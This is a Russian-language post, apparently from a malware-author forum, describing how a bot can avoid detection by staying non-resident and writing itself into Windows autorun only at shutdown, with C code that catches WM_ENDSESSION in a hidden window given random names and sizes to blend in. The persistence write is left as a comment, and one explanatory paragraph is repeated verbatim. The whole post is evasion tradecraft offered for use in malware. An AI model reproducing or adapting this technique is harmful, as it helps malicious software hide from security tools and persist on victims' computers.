Авторы софта выпускают часто 2 отдельных билда: резидент и не резидент. Понятно что пропись в автозагрузку любым методом это дополнительное палево. И нерезидент поэтому стучит лучше. Но почему это палево не перенести на момент выключения/перезагрузки ОС? Тогда до первого выключения бот работает как нерезидент, а в момент выключения пропишется в автозагрузку. Идеальный же вариант.
Код для обнаружения момента выключения ниже. Если котротко, то ловим оконное сообщение WM_ENDSESSION, которое получают все приложения и наше тоже. Для этого надо всего лишь создать окно. Хоть не видимое. И это не палево. Нормальные приложения создают таких окон много. А мы можем просто создавать каждый раз со случайными именами и координатами/размерами. Так просто и получаем все приемущества не резидента до выключения.
А в момент выключения, вместо того чтобы потерять нерезидента навсегда, делаем его резидентом.
Метод испытан. Функциональность ОС на момент получения сообщения WM_ENDSESSION точно позволяет, по крайней мере, сделать запись в реестр.
Код для обнаружения момента выключения ниже. Если котротко, то ловим оконное сообщение WM_ENDSESSION, которое получают все приложения и наше тоже. Для этого надо всего лишь создать окно. Хоть не видимое. И это не палево. Нормальные приложения создают таких окон много. А мы можем просто создавать каждый раз со случайными именами и координатами/размерами. Так просто и получаем все приемущества не резидента до выключения.
А в момент выключения, вместо того чтобы потерять нерезидента навсегда, делаем его резидентом.
Метод испытан. Функциональность ОС на момент получения сообщения WM_ENDSESSION точно позволяет, по крайней мере, сделать запись в реестр.
Код:
//запускать в отдельном потоке!
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
ATOM RegMyWindowClass(HINSTANCE, LPCTSTR);
ATOM RegMyWindowClass(HINSTANCE hInst, LPCTSTR lpzClassName)
{
WNDCLASS wcWindowClass = {0};
// адрес ф-ции обработки сообщений
wcWindowClass.lpfnWndProc = (WNDPROC)WndProc;
// стиль окна
wcWindowClass.style = CS_HREDRAW|CS_VREDRAW;
// дискриптор экземпляра приложения
wcWindowClass.hInstance = hInst;
// название класса
wcWindowClass.lpszClassName = lpzClassName;
// загрузка курсора
wcWindowClass.hCursor = LoadCursor(NULL, IDC_ARROW);
// загрузка цвета окон
wcWindowClass.hbrBackground = (HBRUSH)COLOR_APPWORKSPACE;
return RegisterClass(&wcWindowClass); // регистрация класса
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
// выборка и обработка сообщений
switch (message)
{
case WM_ENDSESSION:
//Вот это и есть момент окончания пользовательской сессии, при выключении, перезагрузки, logout
//Вот здесь и пишемся в автозагрузку
ExitProcess(0);
default:
// все сообщения не обработанные Вами обработает сама Windows
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
void Autorun(HINSTANCE hInstance)
{
// имя будущего класса
char* Class = "random";
// регистрация класса
if (!RegMyWindowClass(hInstance, Class))
return;
// вычисление координат центра экрана
RECT screen_rect;
GetWindowRect(GetDesktopWindow(),&screen_rect); // разрешение экрана
int x = screen_rect.right / 2 - random;
int y = screen_rect.bottom / 2 - random;
// имя будущего окна
char* Name = "random";
// создание диалогового окна
HWND hWnd = CreateWindow(Class, Name,
WS_BORDER, x, y, random, random, NULL, NULL,
hInstance, NULL);
// цикл сообщений приложения
MSG msg = {0}; // структура сообщения
int iGetOk = 0; // переменная состояния
while ((iGetOk = GetMessage(&msg, NULL, 0, 0 )) != 0) // цикл сообщений
{
if(iGetOk == -1)
return;
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}